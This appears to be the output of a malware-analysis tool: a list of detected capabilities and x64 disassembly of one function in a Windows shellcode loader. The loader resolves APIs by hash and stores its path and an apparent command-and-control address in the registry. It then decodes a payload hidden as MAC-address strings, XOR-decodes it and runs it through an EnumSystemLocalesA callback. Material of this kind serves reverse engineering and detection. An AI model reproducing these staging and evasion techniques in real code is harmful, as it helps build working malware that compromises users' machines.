Function at 0x1400019cc
Capabilities:
Allocate or change rwx memory
Delete registry value
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function
Set registry value
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x78]
sub rsp, 0x178
lea rcx, [0x1402ac3a0]
call fcn.140001ea0
mov ecx, 0x97410f58
call fcn.140001770
mov ecx, 0xd5206133
mov r14, rax
call fcn.140001770
mov ecx, 0x3a2fe6bb
mov rbx, rax
call fcn.140001770
mov r12d, 0xef64a41e
mov rdi, rax
mov ecx, r12d
call fcn.140001770
xor r13d, r13d
mov ecx, 0xcb9765a0
mov qword [rbp + 0xc8], r13
mov rsi, rax
call fcn.140001770
lea r15d, [r13 + 0xc]
mov qword [0x1402ac3b0], rax
mov edx, r15d
mov dword [rbp + 0xc0], r13d
lea r9, [rbp + 0xc0]
mov rcx, rax
lea r8d, [r13 + 0x40]
call rsi
call rdi
mov rdx, qword [0x1402ac3b0]
lea r8, [0x1402ac3b8]
mov rcx, rax
mov r9d, r15d
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x20], rax
call rbx
lea rax, [0x14000186c]
mov qword [0x1402ac3a2], rax
call rdi
mov rdx, qword [0x1402ac3b0]
lea r8, [0x1402ac3a0]
mov rcx, rax
mov r9d, r15d
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x20], rax
call r14
mov r8d, dword [rbp + 0xc0]
lea r9, [rbp + 0xc0]
mov rcx, qword [0x1402ac3b0]
mov edx, r15d
call rsi
mov ecx, 0x1ede5967
call fcn.140001770
mov ecx, r12d
mov rbx, rax
call fcn.140001770
mov edi, 0x104
mov qword [rsp + 0x50], rax
mov r8d, edi
lea rcx, [rsp + 0x60]
xor edx, edx
call fcn.1400044f0
mov r8d, edi
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx eax, word [0x1400da498]
lea rdx, str.Console
movsd xmm0, qword [str.SelfPath]
mov r9d, 0x20006
mov cl, byte [0x1400da488]
xor r8d, r8d
mov word [rsp + 0x38], ax
mov al, byte [0x1400da49a]
mov byte [rsp + 0x3a], al
lea rax, [rbp + 0xc0]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [str.IpDateInfo]
mov byte [rsp + 0x48], cl
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
movsd qword [rsp + 0x30], xmm0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001c13
mov rcx, qword [rbp + 0xc0]
lea rdx, str.IpDate
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rbp + 0xc0]
lea rdx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rbp + 0xc0]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], edi
lea r9d, [r13 + 1]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, str.i:154.82.85.12p:5689
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], r13w
jne 0x140001bd6
add eax, eax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], eax
mov r9d, 3
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, 4
mov edi, 0x1000
mov r15d, 0x6c8d1
mov r9d, esi
mov r8d, edi
mov edx, r15d
xor ecx, ecx
call rbx
mov r14d, 0x853a1
mov qword [0x1402ac3c8], rax
mov edx, r14d
mov dword [0x1402ac3ac], r15d
mov r9d, esi
mov r8d, edi
xor ecx, ecx
mov r12, rax
call rbx
mov rsi, rax
mov qword [rbp + 0xd8], r13
mov rdi, rax
lea rbx, str.14_00_14_03_14_02
mov rcx, qword [rbx]
lea rdx, [rbp + 0xd8]
mov r8, rdi
call qword [sym.imp.ntdll.dll_RtlEthernetStringToAddressA]
test eax, eax
js 0x140001e68
add rdi, 6
lea rax, [0x1400da470]
add rbx, 8
cmp rbx, rax
jl 0x140001c68
mov rbx, r13
mov rdi, r13
mov qword [rbp + 0xc0], rbx
movabs rax, 0x97b425ed097b425f
mul rdi
shr rdx, 4
imul rcx, rdx, 0x1b
cmp rdi, rcx
jne 0x140001cd8
lea rdx, [rdi + rsi]
mov rcx, rbx
mov r8d, dword [rdx + 0x17]
call fcn.140001384
mov rbx, rax
mov qword [rbp + 0xc0], rax
inc rdi
cmp rdi, r14
jb 0x140001ca4
test rbx, rbx
je 0x140001cfb
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.140001488
mov rbx, qword [rbp + 0xc0]
mov edx, 0x16
mov rdi, rbx
mov r14, r13
lea ecx, [rdx + 0x2a]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rbx, rbx
je 0x140001d80
mov eax, dword [rdi + 0x10]
add r14, 0x16
mov dword [rbp + 0xc8], eax
movzx eax, word [rdi + 0x14]
mov word [rbp + 0xc0], ax
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x30], xmm0
test rsi, rsi
je 0x140001d74
mov r8d, 0x42
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
movups xmm0, xmmword [rsp + 0x30]
mov rsi, rax
movups xmmword [rax + r14 - 0x16], xmm0
mov eax, dword [rbp + 0xc8]
mov dword [rsi + r14 - 6], eax
movzx eax, word [rbp + 0xc0]
mov word [rsi + r14 - 2], ax
mov rdi, qword [rdi + 0x20]
inc r13d
test rdi, rdi
jne 0x140001d17
mov rdi, qword [rbx + 0x20]
imul r14d, r13d, 0x16
jmp 0x140001da5
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, rdi
mov rdi, qword [rdi + 0x20]
test rdi, rdi
jne 0x140001d8a
test rsi, rsi
je 0x140001e5e
cmp r14, 0x853a1
jae 0x140001e5e
lea r9d, [rdi + 4]
mov r8d, 0x3000
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, r14
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call fcn.140004090
mov r8, r15
mov rdx, rbx
mov rcx, r12
call fcn.140004090
and dword [rbp + 0xd0], edi
lea r9, [rbp + 0xd0]
lea r8d, [rdi + 0x40]
mov rdx, r15
mov rcx, r12
call qword [rsp + 0x50]
mov rax, r12
xor byte [rax], 0x55
inc rax
sub r15, 1
jne 0x140001e12
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x140001e57
xor r9d, r9d
lea r8, str.Error
lea rdx, [0x14028ad20]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140001194
jmp 0x140001e57
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
add rsp, 0x178
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret